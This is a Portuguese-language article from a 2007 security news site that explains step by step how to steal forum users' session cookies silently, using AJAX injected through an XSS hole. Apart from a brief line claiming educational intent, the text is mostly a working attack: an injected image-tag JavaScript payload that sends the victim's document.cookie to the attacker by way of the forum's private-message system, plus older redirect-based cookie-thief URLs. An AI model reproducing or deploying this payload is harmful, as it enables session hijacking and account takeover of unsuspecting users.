Total Security - www.totalsecurity.com.br
Gerais
Quinta - 04 de Janeiro de 2007 às 16:31
Por: Luiz Celso

    Imprimir


Artigo que explica passo-a-passo a nova técnica de roubo de cookies, por meio de AJAX. Antes de tudo, esse artigo só tem intenções educacionais; troca de idéias, métodos e assim, fazer da internet e seus usuários menos vulneráveis.

Para aqueles que vivem nas cavernas, AJAX está revolucionando o modo que a web está trabalhando; no fato, está trazendo desktops para sites na forma de Javascript e XML. Em outras palavras, AJAX (Asynchronous Javascript XML) atualiza páginas sem realmente precisar atualizar páginas inteiras, só o conteúdo específico, dentr outros recursos DHTML, podendo assim, trazer aplicações web estilo desktop. AJAX não é uma tecnologia, de fato é uma conjunto de tecnologias que quando usadas juntas, formam uma capacidade enorme.

O que torna essa tecnologia ótima para o roubo de cookies é a possibilidade de enviar requisições arbitrárias para um servidor na forma de um XMLHttpRequest. Essencialmente, uma vez que o usuário clica em um link específico, o requisição é enviada automaticamente para processamento sem a necessidade de redirecionar o usuário.

Agora vamos ver o que já sabíamos sobre roubo de cookies. A grande maioria de ladrões de cookies utiliza métodos de localização em javascript; exemplo window.document.location=http://www.totalsecurity.com.br/ladraodecookie.php. Isso irá redirecionar o internauta para uma página diferente. Agora vamos tentar usar javascript inline, javascript: window.document.location=http://www.sitequequeroredirecionar.com; Essa é a forma mais velha de roubo de cookies. Mas usuários menos bestinhas, até mesmo os bestinhas desconfiarão, pois não estaram no endereço em que iniciaram. Por isso usar AJAX, você poderá roubar cookies de forma silenciosa. Resultado final: pessoas visitam algo como um fórum, até ai tudo bem, do nada a cookie do mesmo é roubada. Nada parece ter acontecido.

Ficou curioso como funciona? Pois bem... imaginemos que estamos em um fórum, que por sua vez tenha uma falha XSS. A missão é infiltrar no fórum, inserir um código javascript(AJAX, é claro) usando a tag para driblar o sistema do fórum. Nesse código, o usuário mandará o cookie dele para você numa mensagem privada, usando o sistema de mensagem do fórum, é claro :)

*tags modificadas para [] respectivamente.
[img src=javascript:
//Vamos setar XMLHttpRequestObject falso para ver se retornará verdadeiro depois..
var XMLHTTPRequestObject = false;
if (window.XMLHttpRequest)
{
XMLHttpRequestObject = new XMLHttpRequest();
}
else if(window.ActiveXObject)
{
XMLHttpRequestObject = new ActiveXObject(Microsoft.XMLHTTP);
}
else
{
alert(Javascript não está ativado.);
}

O código acima é simples, verificará se XMLHttpRequest poderá ser gerado. Se não, uma caixa de alerta será mostrada e o resto do código que será inserido agora, não entrará em funcionamento.

function socket()
{
/*A linha a seguir é muito importante. Se o site está usando POST para enviar as mensagens, então terá de mudar o código usando o seu HTTP debugger. Em SEUNOMEDEUSUÁRIO, você botará seu login no fórum para receber mensagem privada com o cookie da vítima pelo sistema de mensagem privada do fórum*/
XMLHttpRequestObject.open("GET", "http://www.sitequalquer.com/privatemessage.php user=SEUNOMEDEUSUÁRIO&subject=" + window.document.cookie, true);
XMLHttpRequestObject.setRequestHeader(Content-Type, application/x-www-form-urlencoded);
XMLHttpRequestObject.send(null);
//Out of the Goodness of our heart =p
delete XMLHttpRequestObject;
}
//Não esquecer de fechar a tag, afinal, isso é uma imagem ;)
window.document.onload="socket();"]

Esse foi um exemplo claro e bem-sucedido de um código em AJAX para um fórum, em que, quando o post for acessado, o usuário enviará uma mensagem privada com o seu respectivo cookie para quem você desejar.




Fonte: Eu escrevi

Comentários

Deixe seu Comentário

URL Fonte: http://www.totalsecurity.com.br/noticia/1624/visualizar/